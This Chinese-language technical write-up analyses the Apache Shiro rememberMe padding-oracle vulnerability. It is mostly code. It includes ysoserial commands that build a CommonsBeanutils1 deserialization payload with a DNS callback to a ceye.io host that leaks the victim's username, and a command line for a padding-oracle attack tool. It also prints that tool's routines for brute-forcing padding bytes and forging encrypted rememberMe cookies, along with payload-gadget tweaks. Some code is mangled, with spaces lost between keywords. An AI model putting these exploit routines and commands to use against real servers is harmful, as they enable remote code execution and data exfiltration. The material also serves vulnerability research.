从更深层面看Shiro Padding Oracle漏洞

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "ping %USERNAME%.jdjwu7.ceye.io" > payload.class

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
 
return principals;
}

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
 
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
 
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
 
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
 
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
 
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
 
byte[] encrypted = ciphertext;
 
//No IV, check if we need to read the IV from the stream:
byte[] iv = null;
 
if (isGenerateInitializationVectors(false)) {
try {
//We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it
//is:
// - the first N bytes is the initialization vector, where N equals the value of the
// 'initializationVectorSize' attribute.
// - the remaining bytes in the method argument (arg.length - N) is the real cipher text.
 
//So we need to chunk the method argument into its constituent parts to find the IV and then use
//the IV to decrypt the real ciphertext:
 
int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;
 
//now we know how large the iv is, so extract the iv bytes:
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
 
//remaining data is the actual encrypted ciphertext. Isolate it:
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}
 
return decrypt(encrypted, key, iv);
}

private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
if (log.isTraceEnabled()) {
log.trace("Attempting to decrypt incoming byte array of length " +
(ciphertext != null ? ciphertext.length : 0));
}
byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE);
return decrypted == null ? null : ByteSource.Util.bytes(decrypted);
}

public String encrypt(byte[] nextBLock) throws Exception {
logger.debug("Start encrypt data...");
byte[][] plainTextBlocks = ArrayUtil.splitBytes(this.plainText, this.blockSize); //按blocksize大小分割plainText
 
if (nextBLock == null || nextBLock.length == 0 || nextBLock.length != this.blockSize) {
logger.warn("You provide block's size is not equal blockSize,try to reset it...");
nextBLock = new byte[this.blockSize];
}
byte randomByte = (byte) (new Random()).nextInt(127);
Arrays.fill(nextBLock, randomByte);
 
byte[] result = nextBLock;
byte[][] reverseplainTextBlocks = ArrayUtil.reverseTwoDimensionalBytesArray(plainTextBlocks);//反转数组顺序
this.encryptBlockCount = reverseplainTextBlocks.length;
logger.info(String.format("Total %d blocks to encrypt", this.encryptBlockCount));
 
for (byte[] plainTextBlock : reverseplainTextBlocks) {
nextBLock = this.getBlockEncrypt(plainTextBlock, nextBLock); //加密块，
result = ArrayUtil.mergerArray(nextBLock, result); //result中容纳每次加密后的内容
 
this.encryptBlockCount -= 1;
logger.info(String.format("Left %d blocks to encrypt", this.encryptBlockCount));
}
 
logger.info(String.format("Generate payload success, send request count => %s", this.requestCount));
 
return Base64.getEncoder().encodeToString(result);
}

privatebyte[] getBlockEncrypt(byte[] PlainTextBlock, byte[] nextCipherTextBlock) throws Exception {
byte[] tmpIV = newbyte[this.blockSize];
byte[] encrypt = newbyte[this.blockSize];
Arrays.fill(tmpIV, (byte) 0); //初始化tmpIVfor (int index = this.blockSize - 1; index >= 0; index--) {
tmpIV[index] = this.findCharacterEncrypt(index, tmpIV, nextCipherTextBlock); //函数返回测试成功后的中间值
logger.debug(String.format("Current string => %s, the %d block", ArrayUtil.bytesToHex(ArrayUtil.mergerArray(tmpIV, nextCipherTextBlock)), this.encryptBlockCount));
}
 
for (int index = 0; index < this.blockSize; index++) {
encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]); //中间值与明文块异或得到IV,也就是上一个加密块的密文
}
return encrypt;
}

private byte findCharacterEncrypt(int index, byte[] tmpIV, byte[] nextCipherTextBlock) throws Exception {
if (nextCipherTextBlock.length != this.blockSize) {
throw new Exception("CipherTextBlock size error!!!");
}
 
byte paddingByte = (byte) (this.blockSize - index); //本次需要填充的字节
byte[] preBLock = new byte[this.blockSize];
Arrays.fill(preBLock, (byte) 0);
 
for (int ix = index; ix < this.blockSize; ix++) {
preBLock[ix] = (byte) (paddingByte ^ tmpIV[ix]); //更新IV
}
 
for (int c = 0; c < 256; c++) {
//nextCipherTextBlock[index] < 256，那么在这个循环结果中构成的结果还是range(1,256)
//所以下面两种写法都是正确的，当时看到原作者使用的是第一种方式有点迷，测试了下都可以
// preBLock[index] = (byte) (paddingByte ^ nextCipherTextBlock[index] ^ c);
preBLock[index] = (byte) c;
 
byte[] tmpBLock1 = Base64.getDecoder().decode(this.loginRememberMe); //RememberMe数据
byte[] tmpBlock2 = ArrayUtil.mergerArray(preBLock, nextCipherTextBlock); //脏数据
byte[] tmpBlock3 = ArrayUtil.mergerArray(tmpBLock1, tmpBlock2);
String remeberMe = Base64.getEncoder().encodeToString(tmpBlock3);
if (this.checkPaddingAttackRequest(remeberMe)) {
return (byte) (preBLock[index] ^ paddingByte); //返回中间值
}
}
throw new Exception("Occurs errors when find encrypt character, could't find a suiteable Character!!!");
}

publicstaticclass StubTransletPayload {}
/*
*PayloadMini
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
 
private static final long serialVersionUID = -5971610431559700674L;
 
 
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
 
 
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
*/


Reflections.setFieldValue(templates, "_bytecodes", newbyte[][] {classBytes});
/*
*PayloadMini
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
*/